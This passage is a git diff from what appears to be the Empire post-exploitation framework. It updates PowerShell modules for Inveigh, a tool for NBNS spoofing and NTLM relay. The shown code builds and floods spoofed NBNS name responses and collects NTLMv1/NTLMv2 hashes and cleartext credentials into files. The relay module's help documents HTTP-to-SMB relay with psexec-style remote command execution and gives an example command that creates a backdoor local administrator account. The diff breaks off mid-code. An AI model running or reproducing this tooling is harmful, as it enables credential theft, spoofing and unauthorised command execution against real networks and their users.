$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) - $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) - $hostname_encoded = $hostname_encoded.Replace("-","") - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - for($i=0; $i -lt $hostname_encoded.Count; $i++) - { - - if($hostname_encoded[$i] -gt 64) - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 10 - } - else - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 17 - } - - } - - $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $hostname_bytes + - 0x00,0x20,0x00,0x01 + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - - $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")]) - $NBNS_paused = $false - $send_socket = New-Object System.Net.Sockets.UdpClient(137) - $destination_IP = [System.Net.IPAddress]::Parse($SpooferTarget) - $destination_point = New-Object Net.IPEndpoint($destination_IP,137) - $send_socket.Connect($destination_point) - - while($inveigh.bruteforce_running) - { - - :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running) - { - - if($NBNS_paused) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) - $NBNS_paused = $false - } - - for ($i = 0; $i -lt 255; $i++) - { - - for ($j = 0; $j -lt 255; $j++) - { - $NBNS_response_packet[0] = $i - $NBNS_response_packet[1] = $j - $send_socket.send( $NBNS_response_packet,$NBNS_response_packet.Length) - - if($inveigh.hostname_spoof -and $NBNSPause) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) - $NBNS_paused = $true - break NBNS_spoofer_loop - } - - } - - } - - } - - Start-Sleep -m 5 - } - - $send_socket.Close() - } - -$control_bruteforce_scriptblock = -{ - param ($NBNSPause,$RunTime) - - if($RunTime) - { - $control_timeout = new-timespan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - if($NBNSPause) - { - $NBNS_pause = new-timespan -Seconds $NBNSPause - } - - while ($inveigh.bruteforce_running) - { - - if($RunTime) - { - - if($control_stopwatch.Elapsed -ge $control_timeout) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.bruteforce_running) - { - HTTPListenerStop - $inveigh.console_queue.Add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")]) - Start-Sleep -m 5 - $inveigh.bruteforce_running = $false - } - - if($inveigh.relay_running) - { - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - } - - if($inveigh.running) - { - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) - Start-Sleep -m 5 - $inveigh.running = $false - } - - } - } - - if($NBNSPause -and $inveigh.hostname_spoof) - { - - if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) - { - $inveigh.hostname_spoof = $false - } - - } - - if($inveigh.file_output -and !$inveigh.running) - { - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) - } - - } - - Start-Sleep -m 5 - } - } - -# End ScriptBlocks -# Begin Startup functions - -# HTTP Listener Startup function -function HTTPListener() -{ - - if($HTTPIP) - { - $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) - $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) - } - else - { - $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) - } - - $inveigh.HTTP_listener = New-Object System.Net.Sockets.TcpListener $inveigh.HTTP_endpoint - $inveigh.HTTP_listener.Start() - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument( - $NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument( - $WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -# Spoofer Startup function -function Spoofer() -{ - $spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $spoofer_runspace.Open() - $spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $spoofer_powershell = [PowerShell]::Create() - $spoofer_powershell.Runspace = $spoofer_runspace - $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( - $SpooferTarget).AddArgument($NBNSPause).AddArgument($NBNSTTL) > $null - $spoofer_powershell.BeginInvoke() > $null -} - -# Control Brute Force Startup function -function ControlBruteForceLoop() -{ - $control_bruteforce_runspace = [RunspaceFactory]::CreateRunspace() - $control_bruteforce_runspace.Open() - $control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_bruteforce_powershell = [PowerShell]::Create() - $control_bruteforce_powershell.Runspace = $control_bruteforce_runspace - $control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null - $control_bruteforce_powershell.BeginInvoke() > $null -} - -# End Startup functions - -# Startup Enabled Services - -# HTTP Server Start -if($HTTP -eq 'Y') -{ - HTTPListener -} - -# Spoofer Start -if($NBNS -eq 'Y') -{ - Spoofer -} - -# Control Brute Force Loop Start -if($NBNSPause -or $RunTime -or $inveigh.file_output) -{ - ControlBruteForceLoop -} - -if($inveigh.console_output) -{ - - :console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -m 5 - } - -} - -if($inveigh.file_output -and !$inveigh.running) -{ - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) - } - -} - -} diff --git a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 index 11747f7..48dbde7 100644 --- a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 +++ b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 @@ -5,91 +5,158 @@ function Invoke-InveighRelay Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. .DESCRIPTION -Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution. +Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB1/SMB2 relay with psexec style command execution. HTTP/HTTPS to SMB NTLMv2 relay with granular control + Supports SMB1 and SMB2 targets + Does not require priveleged access on the Invoke-InveighRelay host + The Invoke-InveighRelay host can be targeted for privilege escalation NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS Granular control of console and file output - Can be executed as either a standalone function or through Invoke-Inveigh - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPS -Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store and attached to port 443. If the script does not exit gracefully, execute -"netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" -in the cert store. - -.PARAMETER HTTPSCertAppID -Specify a valid application GUID for use with the ceriticate. - -.PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in -the current working directory and named Inveigh.pfx. .PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target. -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting -to Anonymous can prevent browser login prompts. - -.PARAMETER SMBRelayTarget -IP address of system to target for SMB relay. - -.PARAMETER SMBRelayCommand +.PARAMETER Command Command to execute on SMB relay target. Use PowerShell character escapes where necessary. -.PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER SMBRelayAutoDisable -Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. - -.PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay -target after each packet is sent. - .PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. +Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a +shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. + +.PARAMETER ConsoleQueueLimit +Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. + +.PARAMETER ConsoleStatus +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for +displaying full capture lists when running through a shell that does not have access to the support functions. + +.PARAMETER ConsoleUnique +Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time console output is enabled. .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. +.PARAMETER FileOutputDirectory +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be +enabled. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: IP address for the HTTP/HTTPS listener. + +.PARAMETER HTTPPort +Default = 80: TCP port for the HTTP listener. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in +the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires +local administrator access. + +.PARAMETER HTTPSPort +Default = 443: TCP port for the HTTPS listener. + +.PARAMETER HTTPSCertIssuer +Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSCertSubject +Default = localhost: The subject field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSForceCertDelete +Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and +HTTPSCertSubject. + +.PARAMETER HTTPResetDelay +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the +chance of capturing/relaying authentication through a popup box with some browsers (Firefox). + +.PARAMETER HTTPResetDelayTimeout +Default = 30 Seconds: HTTPResetDelay timeout in seconds. + +.PARAMETER LogOutput +Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. .PARAMETER OutputStreamOnly Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. +.PARAMETER ProxyRelay +Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8182: TCP port for the proxy listener. + +.PARAMETER ProxyIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly +with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is +cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting +-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by +closing and reopening. + +.PARAMETER RelayAutoDisable +Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on +target. + +.PARAMETER RelayAutoExit +Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. .PARAMETER RunTime -(Integer) Set the run time duration in minutes. +(Integer) Run time duration in minutes. + +.PARAMETER Service +Default = 20 Character Random: Name of the service to create and delete on the target. .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. +.PARAMETER SMB1 +(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the +target. + +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER Target +IP address of system to target for SMB relay. + .PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire + +.PARAMETER Usernames +Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and +domain\username format. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous/NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to +Anonymous can prevent browser login prompts. + +.PARAMETER WPADAuthIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login +popups for authenticated wpad.dat requests such as Firefox. .EXAMPLE -Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay -target. +Invoke-Inveigh -HTTP N +Invoke-InveighRelay -Target 192.168.2.55 -Command "net user Inveigh Spring2017 /add && net localgroup administrators Inveigh /add" .LINK https://github.com/Kevin-Robertson/Inveigh @@ -99,93 +166,136 @@ https://github.com/Kevin-Robertson/Inveigh [CmdletBinding()] param ( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$SMBRelayUsernames="", - [parameter(Mandatory=$false)][Int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$true)][String]$SMBRelayCommand = "", - [parameter(Mandatory=$false)][String]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", - [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", + [parameter(Mandatory=$false)][Array]$Usernames = "", + [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "", + [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$HTTPPort = "80", + [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$true)][String]$Command = "", + [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", + [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$true)][String]$Target = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][Switch]$SMB1, + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) { - throw "$($invalid_parameter) is not a valid parameter." + Write-Output "Error:$($invalid_parameter) is not a valid parameter." + throw } -if(!$SMBRelayTarget) -{ - throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" +$inveigh_version = "1.3" + +if($ProxyIP -eq '0.0.0.0') +{ + $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } -if(!$SMBRelayCommand) -{ - throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" -} - -if(!$OutputDir) +if(!$FileOutputDirectory) { $output_directory = $PWD.Path } else { - $output_directory = $OutputDir + $output_directory = $FileOutputDirectory } if(!$inveigh) { $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList } -if($inveigh.HTTP_listener.IsListening) +if($inveigh.relay_running) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + Write-Output "Error:Invoke-InveighRelay is already running, use Stop-Inveigh" + throw } if(!$inveigh.running) { + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.certificate_application_ID = $HTTPSCertAppID - $inveigh.certificate_thumbprint = $HTTPSCertThumbprint - $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList - $inveigh.console_output = $false + $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.console_input = $true + $inveigh.console_output = $false $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false + $inveigh.log_output = $true + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" - $Inveigh.challenge = $Challenge + $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + } $inveigh.relay_running = $true -$inveigh.SMB_relay_active_step = 0 $inveigh.SMB_relay = $true if($StatusOutput -eq 'Y') @@ -206,7 +316,7 @@ else $inveigh.output_stream_only = $false } -if($Tool -eq 1) # Metasploit Interactive Powershell +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension { $inveigh.tool = 1 $inveigh.output_stream_only = $true @@ -218,9 +328,30 @@ elseif($Tool -eq 2) # PowerShell Empire $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" + $inveigh.newline = "" + $LogOutput = "N" $ShowHelp = "N" + + switch ($ConsoleOutput) + { + + 'Low' + { + $ConsoleOutput = "Low" + } + + 'Medium' + { + $ConsoleOutput = "Medium" + } + + default + { + $ConsoleOutput = "Y" + } + + } + } else { @@ -229,63 +360,166 @@ else } # Write startup messages -if(!$inveigh.running) -{ - $inveigh.status_queue.Add("Inveigh Relay started at $(Get-Date -format 's')") > $null - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay started")]) > $null +$inveigh.status_queue.Add("Inveigh Relay $inveigh_version started at $(Get-Date -format 's')") > $null - if($HTTP -eq 'Y') +if($FileOutput -eq 'Y') +{ + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay $inveigh_version started") > $null +} + +if($LogOutput -eq 'Y') +{ + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay started") > $null + $inveigh.log_output = $true +} +else +{ + $inveigh.log_output = $false +} + +if($firewall_status) +{ + $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null + + $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 + $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" + + if($firewall_powershell) { - $inveigh.HTTP = $true - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null + $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null + } + +} + +if($HTTP -eq 'Y') +{ + + if($HTTP_port_check) + { + $HTTP = "N" + $inveigh.status_queue.Add("HTTP Capture/Relay Disabled Due To In Use Port $HTTPPort") > $null } else { - $inveigh.HTTP = $false - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null + $inveigh.status_queue.Add("HTTP Capture/Relay = Enabled") > $null + + if($HTTPIP) + { + $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null + } } - if($HTTPS -eq 'Y') +} +else +{ + $inveigh.status_queue.Add("HTTP Capture/Relay = Disabled") > $null +} + +if($HTTPS -eq 'Y') +{ + + if($HTTPS_port_check) + { + $HTTPS = "N" + 